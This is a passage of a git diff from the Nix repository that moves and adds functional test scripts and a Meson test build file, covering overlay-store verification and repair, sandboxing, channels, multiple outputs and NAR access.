--add ../dummy) + +[[ $pathInLowerStore == $pathFromB ]] + +# lower store should have it from before +stat $(toRealPath "$storeA/nix/store" "$pathInLowerStore") + +# upper layer should still not have it (no redundant copy) +expect 1 stat $(toRealPath "$storeBTop" "$pathInLowerStore") diff --git a/tests/functional/local-overlay-store/redundant-add.sh b/tests/functional/local-overlay-store/redundant-add.sh new file mode 100755 index 000000000..b4f04b2e1 --- /dev/null +++ b/tests/functional/local-overlay-store/redundant-add.sh @@ -0,0 +1,6 @@ +source common.sh +source ../common/init.sh + +requireEnvironment +setupConfig +execUnshare ./redundant-add-inner.sh diff --git a/tests/functional/local-overlay-store/remount.sh b/tests/functional/local-overlay-store/remount.sh new file mode 100755 index 000000000..0b06debb5 --- /dev/null +++ b/tests/functional/local-overlay-store/remount.sh @@ -0,0 +1,2 @@ +#!/bin/sh +mount -o remount "$1" diff --git a/tests/functional/local-overlay-store/stale-file-handle-inner.sh b/tests/functional/local-overlay-store/stale-file-handle-inner.sh new file mode 100755 index 000000000..d38f00cdc --- /dev/null +++ b/tests/functional/local-overlay-store/stale-file-handle-inner.sh @@ -0,0 +1,47 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +setupStoreDirs + +initLowerStore + +mountOverlayfs + +buildInStore () { + nix-build --store "$1" ../hermetic.nix --arg busybox "$busybox" --arg seed 1 --no-out-link +} + +triggerStaleFileHandle () { + # Arrange it so there are duplicate paths + nix-store --store "$storeA" --gc # Clear lower store + buildInStore "$storeB" # Build into upper layer first + buildInStore "$storeA" # Then build in lower store + + # Duplicate paths mean GC will have to delete via upper layer + nix-store --store "$storeB" --gc + + # Clear lower store again to force building in upper layer + nix-store --store "$storeA" --gc + + # Now attempting to build in upper layer will fail + buildInStore "$storeB" +} + +# Without remounting, we should encounter errors +expectStderr 1 triggerStaleFileHandle | grepQuiet 'Stale file handle' + +# Configure remount-hook and reset OverlayFS +storeB="$storeB&remount-hook=$PWD/remount.sh" +remountOverlayfs + +# Now it should succeed +triggerStaleFileHandle diff --git a/tests/functional/local-overlay-store/stale-file-handle.sh b/tests/functional/local-overlay-store/stale-file-handle.sh new file mode 100755 index 000000000..684b8ce23 --- /dev/null +++ b/tests/functional/local-overlay-store/stale-file-handle.sh @@ -0,0 +1,6 @@ +source common.sh +source ../common/init.sh + +requireEnvironment +setupConfig +execUnshare ./stale-file-handle-inner.sh diff --git a/tests/functional/local-overlay-store/verify-inner.sh b/tests/functional/local-overlay-store/verify-inner.sh new file mode 100755 index 000000000..659f2ae50 --- /dev/null +++ b/tests/functional/local-overlay-store/verify-inner.sh @@ -0,0 +1,69 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +setupStoreDirs + +initLowerStore + +mountOverlayfs + + +## Initialise stores for test + +# Realise a derivation from the lower store to propagate paths to overlay DB +nix-store --store "$storeB" --realise $drvPath + +# Also ensure dummy file exists in overlay DB +dummyPath=$(nix-store --store "$storeB" --add ../dummy) + +# Add something to the lower store that will not be propagated to overlay DB +lowerOnlyPath=$(addTextToStore "$storeA" lower-only "Only in lower store") + +# Verify should be successful at this point +nix-store --store "$storeB" --verify --check-contents + +# Make a backup so we can repair later +backupStore="$storeVolume/backup" +mkdir "$backupStore" +cp -ar "$storeBRoot/nix" "$backupStore" + + +## Deliberately corrupt store paths + +# Delete one of the derivation inputs in the lower store +inputDrvFullPath=$(find "$storeA" -name "*-hermetic-input-1.drv") +inputDrvPath=${inputDrvFullPath/*\/nix\/store\///nix/store/} +rm -v "$inputDrvFullPath" + +# Truncate the contents of dummy file in lower store +find "$storeA" -name "*-dummy" -exec truncate -s 0 {} \; + +# Also truncate the file that only exists in lower store +truncate -s 0 "$storeA/$lowerOnlyPath" + +# Ensure overlayfs is synchronised +remountOverlayfs + + +## Now test that verify and repair work as expected + +# Verify overlay store without attempting to repair it +verifyOutput=$(expectStderr 1 nix-store --store "$storeB" --verify --check-contents) +<<<"$verifyOutput" grepQuiet "path '$inputDrvPath' disappeared, but it still has valid referrers!" +<<<"$verifyOutput" grepQuiet "path '$dummyPath' was modified! expected hash" +<<<"$verifyOutput" expectStderr 1 grepQuiet "$lowerOnlyPath" # Expect no error for corrupted lower-only path + +# Attempt to repair using backup +addConfig "substituters = $backupStore" +repairOutput=$(nix-store --store "$storeB" --verify --check-contents --repair 2>&1) +<<<"$repairOutput" grepQuiet "copying path '$inputDrvPath'" +<<<"$repairOutput" grepQuiet "copying path '$dummyPath'" diff --git a/tests/functional/local-overlay-store/verify.sh b/tests/functional/local-overlay-store/verify.sh new file mode 100755 index 000000000..d73d1a57d --- /dev/null +++ b/tests/functional/local-overlay-store/verify.sh @@ -0,0 +1,6 @@ +source common.sh +source ../common/init.sh + +requireEnvironment +setupConfig +execUnshare ./verify-inner.sh diff --git a/tests/local.mk b/tests/functional/local.mk similarity index 51% rename from tests/local.mk rename to tests/functional/local.mk index 2f7f76261..8b4945cac 100644 --- a/tests/local.mk +++ b/tests/functional/local.mk @@ -1,24 +1,19 @@ nix_tests = \ - flakes/flakes.sh \ - flakes/run.sh \ - flakes/mercurial.sh \ - flakes/circular.sh \ - flakes/init.sh \ - flakes/follow-paths.sh \ - flakes/bundle.sh \ - flakes/check.sh \ - flakes/unlocked-override.sh \ - flakes/absolute-paths.sh \ - ca/gc.sh \ + test-infra.sh \ gc.sh \ + nix-collect-garbage-d.sh \ remote-store.sh \ + legacy-ssh-store.sh \ lang.sh \ + lang-gc.sh \ + characterisation-test-infra.sh \ + experimental-features.sh \ fetchMercurial.sh \ gc-auto.sh \ user-envs.sh \ + user-envs-migration.sh \ binary-cache.sh \ multiple-outputs.sh \ - ca/build.sh \ nix-build.sh \ gc-concurrent.sh \ repair.sh \ @@ -36,24 +31,18 @@ nix_tests = \ referrers.sh \ optimise-store.sh \ substitute-with-invalid-ca.sh \ - ca/concurrent-builds.sh \ signing.sh \ - ca/build-with-garbage-path.sh \ - hash.sh \ + hash-convert.sh \ + hash-path.sh \ gc-non-blocking.sh \ check.sh \ - ca/substitute.sh \ nix-shell.sh \ - ca/signatures.sh \ - ca/nix-shell.sh \ - ca/nix-copy.sh \ check-refs.sh \ build-remote-input-addressed.sh \ secure-drv-outputs.sh \ restricted.sh \ fetchGitSubmodules.sh \ - flakes/search-root.sh \ - ca/duplicate-realisation-in-closure.sh \ + fetchGitVerification.sh \ readfile-context.sh \ nix-channel.sh \ recursive.sh \ @@ -61,24 +50,29 @@ nix_tests = \ check-reqs.sh \ build-remote-content-addressed-fixed.sh \ build-remote-content-addressed-floating.sh \ + build-remote-trustless-should-pass-0.sh \ + build-remote-trustless-should-pass-1.sh \ + build-remote-trustless-should-pass-2.sh \ + build-remote-trustless-should-pass-3.sh \ + build-remote-trustless-should-fail-0.sh \ + build-remote-with-mounted-ssh-ng.sh \ nar-access.sh \ + impure-eval.sh \ pure-eval.sh \ eval.sh \ - ca/post-hook.sh \ repl.sh \ - ca/repl.sh \ - ca/recursive.sh \ binary-cache-build-remote.sh \ search.sh \ logging.sh \ export.sh \ config.sh \ add.sh \ - local-store.sh \ + chroot-store.sh \ filter-source.sh \ misc.sh \ dump-db.sh \ linux-sandbox.sh \ + supplementary-groups.sh \ build-dry.sh \ structured-attrs.sh \ shell.sh \ @@ -86,47 +80,64 @@ nix_tests = \ zstd.sh \ compression-levels.sh \ nix-copy-ssh.sh \ + nix-copy-ssh-ng.sh \ post-hook.sh \ function-trace.sh \ - flakes/config.sh \ fmt.sh \ eval-store.sh \ why-depends.sh \ + derivation-json.sh \ + derivation-advanced-attributes.sh \ import-derivation.sh \ - ca/import-derivation.sh \ nix_path.sh \ case-hack.sh \ placeholders.sh \ ssh-relay.sh \ - plugins.sh \ build.sh \ - ca/nix-run.sh \ - selfref-gc.sh ca/selfref-gc.sh \ + build-delete.sh \ + output-normalization.sh \ + selfref-gc.sh \ db-migration.sh \ bash-profile.sh \ pass-as-file.sh \ - describe-stores.sh \ nix-profile.sh \ suggestions.sh \ - store-ping.sh \ + store-info.sh \ fetchClosure.sh \ completions.sh \ impure-derivations.sh \ path-from-hash-part.sh \ - toString-path.sh + path-info.sh \ + toString-path.sh \ + read-only-store.sh \ + nested-sandboxing.sh \ + impure-env.sh \ + debugger.sh \ + extra-sandbox-profile.sh \ + help.sh ifeq ($(HAVE_LIBCPUID), 1) - nix_tests += compute-levels.sh + nix_tests += compute-levels.sh endif -install-tests += $(foreach x, $(nix_tests), tests/$(x)) +ifeq ($(ENABLE_BUILD), yes) + nix_tests += test-libstoreconsumer.sh -tests-environment = NIX_REMOTE= $(bash) -e - -clean-files += $(d)/common.sh $(d)/config.nix $(d)/ca/config.nix - -test-deps += tests/common.sh tests/config.nix tests/ca/config.nix - -ifeq ($(BUILD_SHARED_LIBS), 1) - test-deps += tests/plugins/libplugintest.$(SO_EXT) + ifeq ($(BUILD_SHARED_LIBS), 1) + nix_tests += plugins.sh + endif endif + +$(d)/test-libstoreconsumer.sh.test $(d)/test-libstoreconsumer.sh.test-debug: \ + $(buildprefix)$(d)/test-libstoreconsumer/test-libstoreconsumer +$(d)/plugins.sh.test $(d)/plugins.sh.test-debug: \ + $(buildprefix)$(d)/plugins/libplugintest.$(SO_EXT) + +install-tests += $(foreach x, $(nix_tests), $(d)/$(x)) + +test-clean-files := \ + $(d)/common/subst-vars.sh \ + $(d)/config.nix + +clean-files += $(test-clean-files) +test-deps += $(test-clean-files) diff --git a/tests/logging.sh b/tests/functional/logging.sh old mode 100644 new mode 100755 similarity index 89% rename from tests/logging.sh rename to tests/functional/logging.sh index 1481b9b36..bd80a9163 --- a/tests/logging.sh +++ b/tests/functional/logging.sh @@ -1,5 +1,9 @@ +#!/usr/bin/env bash + source common.sh +TODO_NixOS + clearStore path=$(nix-build dependencies.nix --no-out-link) @@ -15,7 +19,7 @@ nix-build dependencies.nix --no-out-link --compress-build-log [ "$(nix-store -l $path)" = FOO ] # test whether empty logs work fine with `nix log`. -builder="$(mktemp)" +builder="$(realpath "$(mktemp)")" echo -e "#!/bin/sh\nmkdir \$out" > "$builder" outp="$(nix-build -E \ 'with import ./config.nix; mkDerivation { name = "fnord"; builder = '"$builder"'; }' \ diff --git a/tests/functional/meson.build b/tests/functional/meson.build new file mode 100644 index 000000000..ebecdd9e8 --- /dev/null +++ b/tests/functional/meson.build @@ -0,0 +1,266 @@ +project('nix-functional-tests', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.3', + license : 'LGPL-2.1-or-later', +) + +fs = import('fs') + +# Need to combine source and build trees +run_command( + 'rsync', + '-a', + '--copy-unsafe-links', + meson.current_source_dir() / '', + meson.current_build_dir() / '', +) +# This current-source-escaping relative is no good because we don't know +# where the build directory will be, therefore we fix it up. Once the +# Make build system is gone, we should think about doing this better. +scripts_dir = fs.relative_to( + meson.current_source_dir() / '..' / '..' / 'scripts', + meson.current_build_dir(), +) +run_command( + 'sed', + '-i', meson.current_build_dir() / 'bash-profile.sh', + '-e', 's^../../scripts^@0@^'.format(scripts_dir), +) + +nix = find_program('nix') +bash = find_program('bash', native : true) +busybox = find_program('busybox', native : true, required : false) +coreutils = find_program('coreutils', native : true) +dot = find_program('dot', native : true, required : false) + +nix_bin_dir = fs.parent(nix.full_path()) + +test_confdata = { + 'bindir': nix_bin_dir, + 'coreutils': fs.parent(coreutils.full_path()), + 'dot': dot.found() ? dot.full_path() : '', + 'bash': bash.full_path(), + 'sandbox_shell': busybox.found() ? busybox.full_path() : '', + 'PACKAGE_VERSION': meson.project_version(), + 'system': host_machine.cpu_family() + '-' + host_machine.system(), +} + +# Just configures `common/vars-and-functions.sh.in`. +# Done as a subdir() so Meson places it under `common` in the build directory as well. +subdir('common') + +config_nix_in = configure_file( + input : 'config.nix.in', + output : 'config.nix', + configuration : test_confdata, +) + +suites = [ + { + 'name' : 'main', + 'deps': [], + 'tests': [ + 'test-infra.sh', + 'gc.sh', + 'nix-collect-garbage-d.sh', + 'remote-store.sh', + 'legacy-ssh-store.sh', + 'lang.sh', + 'lang-gc.sh', + 'characterisation-test-infra.sh', + 'experimental-features.sh', + 'fetchMercurial.sh', + 'gc-auto.sh', + 'user-envs.sh', + 'user-envs-migration.sh', + 'binary-cache.sh', + 'multiple-outputs.sh', + 'nix-build.sh', + 'gc-concurrent.sh', + 'repair.sh', + 'fixed.sh', + 'export-graph.sh', + 'timeout.sh', + 'fetchGitRefs.sh', + 'gc-runtime.sh', + 'tarball.sh', + 'fetchGit.sh', + 'fetchurl.sh', + 'fetchPath.sh', + 'fetchTree-file.sh', + 'simple.sh', + 'referrers.sh', + 'optimise-store.sh', + 'substitute-with-invalid-ca.sh', + 'signing.sh', + 'hash-convert.sh', + 'hash-path.sh', + 'gc-non-blocking.sh', + 'check.sh', + 'nix-shell.sh', + 'check-refs.sh', + 'build-remote-input-addressed.sh', + 'secure-drv-outputs.sh', + 'restricted.sh', + 'fetchGitSubmodules.sh', + 'fetchGitVerification.sh', + 'readfile-context.sh', + 'nix-channel.sh', + 'recursive.sh', + 'dependencies.sh', + 'check-reqs.sh', + 'build-remote-content-addressed-fixed.sh', + 'build-remote-content-addressed-floating.sh', + 'build-remote-trustless-should-pass-0.sh', + 'build-remote-trustless-should-pass-1.sh', + 'build-remote-trustless-should-pass-2.sh', + 'build-remote-trustless-should-pass-3.sh', + 'build-remote-trustless-should-fail-0.sh', + 'build-remote-with-mounted-ssh-ng.sh', + 'nar-access.sh', + 'impure-eval.sh', + 'pure-eval.sh', + 'eval.sh', + 'repl.sh', + 'binary-cache-build-remote.sh', + 'search.sh', + 'logging.sh', + 'export.sh', + 'config.sh', + 'add.sh', + 'chroot-store.sh', + 'filter-source.sh', + 'misc.sh', + 'dump-db.sh', + 'linux-sandbox.sh', + 'supplementary-groups.sh', + 'build-dry.sh', + 'structured-attrs.sh', + 'shell.sh', + 'brotli.sh', + 'zstd.sh', + 'compression-levels.sh', + 'nix-copy-ssh.sh', + 'nix-copy-ssh-ng.sh', + 'post-hook.sh', + 'function-trace.sh', + 'fmt.sh', + 'eval-store.sh', + 'why-depends.sh', + 'derivation-json.sh', + 'derivation-advanced-attributes.sh', + 'import-derivation.sh', + 'nix_path.sh', + 'case-hack.sh', + 'placeholders.sh', + 'ssh-relay.sh', + 'build.sh', + 'build-delete.sh', + 'output-normalization.sh', + 'selfref-gc.sh', + 'db-migration.sh', + 'bash-profile.sh', + 'pass-as-file.sh', + 'nix-profile.sh', + 'suggestions.sh', + 'store-info.sh', + 'fetchClosure.sh', + 'completions.sh', + 'impure-derivations.sh', + 'path-from-hash-part.sh', + 'path-info.sh', + 'toString-path.sh', + 'read-only-store.sh', + 'nested-sandboxing.sh', + 'impure-env.sh', + 'debugger.sh', + 'extra-sandbox-profile.sh', + 'help.sh', + ], + 'workdir': meson.current_build_dir(), + }, +] + +nix_store = dependency('nix-store', required : false) +if nix_store.found() + subdir('test-libstoreconsumer') + suites += { + 'name': 'libstoreconsumer', + 'deps': [ + libstoreconsumer_tester, + ], + 'tests': [ + 'test-libstoreconsumer.sh', + ], + 'workdir': meson.current_build_dir(), + } + +endif + +# Plugin tests require shared libraries support. +nix_expr = dependency('nix-expr', required : false) +if nix_expr.found() and get_option('default_library') != 'static' + subdir('plugins') + suites += { + 'name': 'plugins', + 'deps': [ + libplugintest, + ], + 'tests': [ + 'plugins.sh', + ], + 'workdir': meson.current_build_dir(), + } +endif + +subdir('ca') +subdir('dyn-drv') +subdir('flakes') +subdir('git-hashing') +subdir('local-overlay-store') + +foreach suite : suites + foreach script : suite['tests'] + workdir = suite['workdir'] + prefix = fs.relative_to(workdir, meson.project_build_root()) + + script = script + # Turns, e.g., `tests/functional/flakes/show.sh` into a Meson test target called + # `functional-flakes-show`. + name = fs.replace_suffix(prefix / script, '') + + test( + name, + bash, + args: [ + '-x', + '-e', + '-u', + '-o', 'pipefail', + script, + ], + suite : suite['name'], + env : { + 'TEST_NAME': name, + 'NIX_REMOTE': '', + 'PS4': '+(${BASH_SOURCE[0]-$0}:$LINENO) ', + }, + # some tests take 15+ seconds even on an otherwise idle machine, on a loaded machine + # this can easily drive them to failure. give them more time than default of 30sec + timeout : 300, + # Used for target dependency/ordering tracking, not adding compiler flags or anything. + depends : suite['deps'], + workdir : workdir, + # Won't pass until man pages are generated + should_fail : suite['name'] == 'main' and script == 'help.sh' + ) + endforeach +endforeach diff --git a/tests/functional/misc.sh b/tests/functional/misc.sh new file mode 100755 index 000000000..7d63756b7 --- /dev/null +++ b/tests/functional/misc.sh @@ -0,0 +1,46 @@ +#!/usr/bin/env bash + +source common.sh + +# Tests miscellaneous commands. + +# Do all commands have help? +#nix-env --help | grepQuiet install +#nix-store --help | grepQuiet realise +#nix-instantiate --help | grepQuiet eval +#nix-hash --help | grepQuiet base32 + +# Can we ask for the version number? +nix-env --version | grep "$version" + +nix_env=$(type -P nix-env) +(PATH=""; ! $nix_env --help 2>&1 ) | grepQuiet -F "The 'man' command was not found, but it is needed for 'nix-env' and some other 'nix-*' commands' help text. Perhaps you could install the 'man' command?" + +# Usage errors. +expect 1 nix-env --foo 2>&1 | grep "no operation" +expect 1 nix-env -q --foo 2>&1 | grep "unknown flag" + +# Eval Errors. +eval_arg_res=$(nix-instantiate --eval -E 'let a = {} // a; in a.foo' 2>&1 || true) +echo $eval_arg_res | grep "at «string»:1:15:" +echo $eval_arg_res | grep "infinite recursion encountered" + +eval_stdin_res=$(echo 'let a = {} // a; in a.foo' | nix-instantiate --eval -E - 2>&1 || true) +echo $eval_stdin_res | grep "at «stdin»:1:15:" +echo $eval_stdin_res | grep "infinite recursion encountered" + +# Attribute path errors +expectStderr 1 nix-instantiate --eval -E '{}' -A '"x' | grepQuiet "missing closing quote in selection path" +expectStderr 1 nix-instantiate --eval -E '[]' -A 'x' | grepQuiet "should be a set" +expectStderr 1 nix-instantiate --eval -E '{}' -A '1' | grepQuiet "should be a list" +expectStderr 1 nix-instantiate --eval -E '{}' -A '.' | grepQuiet "empty attribute name" +expectStderr 1 nix-instantiate --eval -E '[]' -A '1' | grepQuiet "out of range" + +# Unknown setting warning +# NOTE(cole-h): behavior is different depending on the order, which is why we test an unknown option +# before and after the `'{}'`! +out="$(expectStderr 0 nix-instantiate --option foobar baz --expr '{}')" +[[ "$(echo "$out" | grep foobar | wc -l)" = 1 ]] + +out="$(expectStderr 0 nix-instantiate '{}' --option foobar baz --expr )" +[[ "$(echo "$out" | grep foobar | wc -l)" = 1 ]] diff --git a/tests/multiple-outputs.nix b/tests/functional/multiple-outputs.nix similarity index 85% rename from tests/multiple-outputs.nix rename to tests/functional/multiple-outputs.nix index 1429bc648..6ba7c523d 100644 --- a/tests/multiple-outputs.nix +++ b/tests/functional/multiple-outputs.nix @@ -91,9 +91,15 @@ rec { e = mkDerivation { name = "multiple-outputs-e"; - outputs = [ "a" "b" "c" ]; - meta.outputsToInstall = [ "a" "b" ]; - buildCommand = "mkdir $a $b $c"; + outputs = [ "a_a" "b" "c" ]; + meta.outputsToInstall = [ "a_a" "b" ]; + buildCommand = "mkdir $a_a $b $c"; + }; + + nothing-to-install = mkDerivation { + name = "nothing-to-install"; + meta.outputsToInstall = [ ]; + buildCommand = "mkdir $out"; }; independent = mkDerivation { @@ -117,4 +123,14 @@ rec { ''; }; + invalid-output-name-1 = mkDerivation { + name = "invalid-output-name-1"; + outputs = [ "out/"]; + }; + + invalid-output-name-2 = mkDerivation { + name = "invalid-output-name-2"; + outputs = [ "x" "foo$"]; + }; + } diff --git a/tests/multiple-outputs.sh b/tests/functional/multiple-outputs.sh old mode 100644 new mode 100755 similarity index 87% rename from tests/multiple-outputs.sh rename to tests/functional/multiple-outputs.sh index 0d45ad35b..35a78d152 --- a/tests/multiple-outputs.sh +++ b/tests/functional/multiple-outputs.sh @@ -1,6 +1,10 @@ +#!/usr/bin/env bash + source common.sh -clearStore +TODO_NixOS + +clearStoreIfPossible rm -f $TEST_ROOT/result* @@ -19,8 +23,8 @@ echo "evaluating c..." # outputs. drvPath=$(nix-instantiate multiple-outputs.nix -A c) #[ "$drvPath" = "$drvPath2" ] -grep -q 'multiple-outputs-a.drv",\["first","second"\]' $drvPath -grep -q 'multiple-outputs-b.drv",\["out"\]' $drvPath +grepQuiet 'multiple-outputs-a.drv",\["first","second"\]' $drvPath +grepQuiet 'multiple-outputs-b.drv",\["out"\]' $drvPath # While we're at it, test the ‘unsafeDiscardOutputDependency’ primop. outPath=$(nix-build multiple-outputs.nix -A d --no-out-link) @@ -33,7 +37,7 @@ outPath=$(nix-store -q $drvPath) echo "building b..." outPath=$(nix-build multiple-outputs.nix -A b --no-out-link) echo "output path is $outPath" -[ "$(cat "$outPath"/file)" = "success" ] +[ "$(cat "$outPath/file")" = "success" ] # Test nix-build on a derivation with multiple outputs. outPath1=$(nix-build multiple-outputs.nix -A a -o $TEST_ROOT/result) @@ -83,3 +87,6 @@ nix-store --gc --keep-derivations --keep-outputs nix-store --gc --print-roots rm -rf $NIX_STORE_DIR/.links rmdir $NIX_STORE_DIR + +expect 1 nix build -f multiple-outputs.nix invalid-output-name-1 2>&1 | grep 'contains illegal character' +expect 1 nix build -f multiple-outputs.nix invalid-output-name-2 2>&1 | grep 'contains illegal character' diff --git a/tests/nar-access.nix b/tests/functional/nar-access.nix similarity index 100% rename from tests/nar-access.nix rename to tests/functional/nar-access.nix diff --git a/tests/nar-access.sh b/tests/functional/nar-access.sh old mode 100644 new mode 100755 similarity index 83% rename from tests/nar-access.sh rename to tests/functional/nar-access.sh index dcc2e8a36..b254081cf --- a/tests/nar-access.sh +++ b/tests/functional/nar-access.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh echo "building test path" @@ -25,6 +27,13 @@ diff -u baz.cat-nar $storePath/foo/baz nix store cat $storePath/foo/baz > baz.cat-nar diff -u baz.cat-nar $storePath/foo/baz +TODO_NixOS + +# Check that 'nix store cat' fails on invalid store paths. +invalidPath="$(dirname $storePath)/99999999999999999999999999999999-foo" +cp -r $storePath $invalidPath +expect 1 nix store cat $invalidPath/foo/baz + # Test --json. diff -u \ <(nix nar ls --json $narFile / | jq -S) \ @@ -46,8 +55,8 @@ diff -u \ <(echo '{"type":"regular","size":0}' | jq -S) # Test missing files. -nix store ls --json -R $storePath/xyzzy 2>&1 | grep 'does not exist in NAR' -nix store ls $storePath/xyzzy 2>&1 | grep 'does not exist' +expect 1 nix store ls --json -R $storePath/xyzzy 2>&1 | grep 'does not exist' +expect 1 nix store ls $storePath/xyzzy 2>&1 | grep 'does not exist' # Test failure to dump. if nix-store --dump $storePath >/dev/full ; then diff --git a/tests/functional/nested-sandboxing.sh b/tests/functional/nested-sandboxing.sh new file mode 100755 index 000000000..ae0256de2 --- /dev/null +++ b/tests/functional/nested-sandboxing.sh @@ -0,0 +1,15 @@ +#!/usr/bin/env bash + +source common.sh +# This test is run by `tests/functional/nested-sandboxing/runner.nix` in an extra layer of sandboxing. +[[ -d /nix/store ]] || skipTest "running this test without Nix's deps being drawn from /nix/store is not yet supported" + +TODO_NixOS + +requireSandboxSupport + +source ./nested-sandboxing/command.sh + +expectStderr 100 runNixBuild badStoreUrl 2 | grepQuiet '`sandbox-build-dir` must not contain' + +runNixBuild goodStoreUrl 5 diff --git a/tests/functional/nested-sandboxing/command.sh b/tests/functional/nested-sandboxing/command.sh new file mode 100644 index 000000000..e9c40a5d9 --- /dev/null +++ b/tests/functional/nested-sandboxing/command.sh @@ -0,0 +1,31 @@ +set -eu -o pipefail + +export NIX_BIN_DIR=$(dirname $(type -p nix)) +# TODO Get Nix and its closure more flexibly +export EXTRA_SANDBOX="/nix/store $(dirname $NIX_BIN_DIR)" + +badStoreUrl () { + local altitude=$1 + echo $TEST_ROOT/store-$altitude +} + +goodStoreUrl () { + local altitude=$1 + echo $("badStoreUrl" "$altitude")?store=/foo-$altitude +} + +# The non-standard sandbox-build-dir helps ensure that we get the same behavior +# whether this test is being run in a derivation as part of the nix build or +# being manually run by a developer outside a derivation +runNixBuild () { + local storeFun=$1 + local altitude=$2 + nix-build \ + --no-substitute --no-out-link \ + --store "$("$storeFun" "$altitude")" \ + --extra-sandbox-paths "$EXTRA_SANDBOX" \ + ./nested-sandboxing/runner.nix \ + --arg altitude "$((altitude - 1))" \ + --argstr storeFun "$storeFun" \ + --sandbox-build-dir /build-non-standard +} diff --git a/tests/functional/nested-sandboxing/runner.nix b/tests/functional/nested-sandboxing/runner.nix new file mode 100644 index 000000000..1e79d5065 --- /dev/null +++ b/tests/functional/nested-sandboxing/runner.nix @@ -0,0 +1,27 @@ +{ altitude, storeFun }: + +with import ../config.nix; + +mkDerivation { + name = "nested-sandboxing"; + busybox = builtins.getEnv "busybox"; + EXTRA_SANDBOX = builtins.getEnv "EXTRA_SANDBOX"; + buildCommand = '' + set -x + set -eu -o pipefail + '' + (if altitude == 0 then '' + echo Deep enough! > $out + '' else '' + cp -r ${../common} ./common + cp ${../common.sh} ./common.sh + cp ${../config.nix} ./config.nix + cp -r ${./.} ./nested-sandboxing + + export PATH=${builtins.getEnv "NIX_BIN_DIR"}:$PATH + + source common.sh + source ./nested-sandboxing/command.sh + + runNixBuild ${storeFun} ${toString altitude} >> $out + ''); +} diff --git a/tests/nix-build-examples.nix b/tests/functional/nix-build-examples.nix similarity index 100% rename from tests/nix-build-examples.nix rename to tests/functional/nix-build-examples.nix diff --git a/tests/nix-build.sh b/tests/functional/nix-build.sh old mode 100644 new mode 100755 similarity index 96% rename from tests/nix-build.sh rename to tests/functional/nix-build.sh index 44a5a14cd..091e429e0 --- a/tests/nix-build.sh +++ b/tests/functional/nix-build.sh @@ -1,6 +1,10 @@ +#!/usr/bin/env bash + source common.sh -clearStore +TODO_NixOS + +clearStoreIfPossible outPath=$(nix-build dependencies.nix -o $TEST_ROOT/result) test "$(cat $TEST_ROOT/result/foobar)" = FOOBAR diff --git a/tests/nix-channel.sh b/tests/functional/nix-channel.sh old mode 100644 new mode 100755 similarity index 53% rename from tests/nix-channel.sh rename to tests/functional/nix-channel.sh index 54b8f5979..a4870e7a8 --- a/tests/nix-channel.sh +++ b/tests/functional/nix-channel.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearProfiles @@ -6,16 +8,31 @@ rm -f $TEST_HOME/.nix-channels $TEST_HOME/.nix-profile # Test add/list/remove. nix-channel --add http://foo/bar xyzzy -nix-channel --list | grep -q http://foo/bar +nix-channel --list | grepQuiet http://foo/bar nix-channel --remove xyzzy +[[ $(nix-channel --list-generations | wc -l) == 1 ]] [ -e $TEST_HOME/.nix-channels ] [ "$(cat $TEST_HOME/.nix-channels)" = '' ] +# Test the XDG Base Directories support + +export NIX_CONFIG="use-xdg-base-directories = true" + +nix-channel --add http://foo/bar xyzzy +nix-channel --list | grepQuiet http://foo/bar +nix-channel --remove xyzzy + +unset NIX_CONFIG + +[ -e $TEST_HOME/.local/state/nix/channels ] +[ "$(cat $TEST_HOME/.local/state/nix/channels)" = '' ] + # Create a channel. rm -rf $TEST_ROOT/foo mkdir -p $TEST_ROOT/foo -nix copy --to file://$TEST_ROOT/foo?compression="bzip2" $(nix-store -r $(nix-instantiate dependencies.nix)) +drvPath=$(nix-instantiate dependencies.nix) +nix copy --to file://$TEST_ROOT/foo?compression="bzip2" $(nix-store -r "$drvPath") rm -rf $TEST_ROOT/nixexprs mkdir -p $TEST_ROOT/nixexprs cp config.nix dependencies.nix dependencies.builder*.sh $TEST_ROOT/nixexprs/ @@ -25,11 +42,12 @@ ln -s dependencies.nix $TEST_ROOT/nixexprs/default.nix # Test the update action. nix-channel --add file://$TEST_ROOT/foo nix-channel --update +[[ $(nix-channel --list-generations | wc -l) == 2 ]] # Do a query. nix-env -qa \* --meta --xml --out-path > $TEST_ROOT/meta.xml -grep -q 'meta.*description.*Random test package' $TEST_ROOT/meta.xml -grep -q 'item.*attrPath="foo".*name="dependencies-top"' $TEST_ROOT/meta.xml +grepQuiet 'meta.*description.*Random test package' $TEST_ROOT/meta.xml +grepQuiet 'item.*attrPath="foo".*name="dependencies-top"' $TEST_ROOT/meta.xml # Do an install. nix-env -i dependencies-top @@ -41,11 +59,13 @@ nix-channel --update # Do a query. nix-env -qa \* --meta --xml --out-path > $TEST_ROOT/meta.xml -grep -q 'meta.*description.*Random test package' $TEST_ROOT/meta.xml -grep -q 'item.*attrPath="bar".*name="dependencies-top"' $TEST_ROOT/meta.xml -grep -q 'item.*attrPath="foo".*name="dependencies-top"' $TEST_ROOT/meta.xml +grepQuiet 'meta.*description.*Random test package' $TEST_ROOT/meta.xml +grepQuiet 'item.*attrPath="bar".*name="dependencies-top"' $TEST_ROOT/meta.xml +grepQuiet 'item.*attrPath="foo".*name="dependencies-top"' $TEST_ROOT/meta.xml # Do an install. nix-env -i dependencies-top [ -e $TEST_HOME/.nix-profile/foobar ] +# Test evaluation through a channel symlink (#9882). +nix-instantiate '' diff --git a/tests/functional/nix-collect-garbage-d.sh b/tests/functional/nix-collect-garbage-d.sh new file mode 100755 index 000000000..119efe629 --- /dev/null +++ b/tests/functional/nix-collect-garbage-d.sh @@ -0,0 +1,44 @@ +#!/usr/bin/env bash + +source common.sh + +TODO_NixOS + +clearStore + +## Test `nix-collect-garbage -d` + +# TODO make `nix-env` doesn't work with CA derivations, and make +# `ca/nix-collect-garbage-d.sh` wrapper. + +testCollectGarbageD () { + clearProfiles + # Run two `nix-env` commands, should create two generations of + # 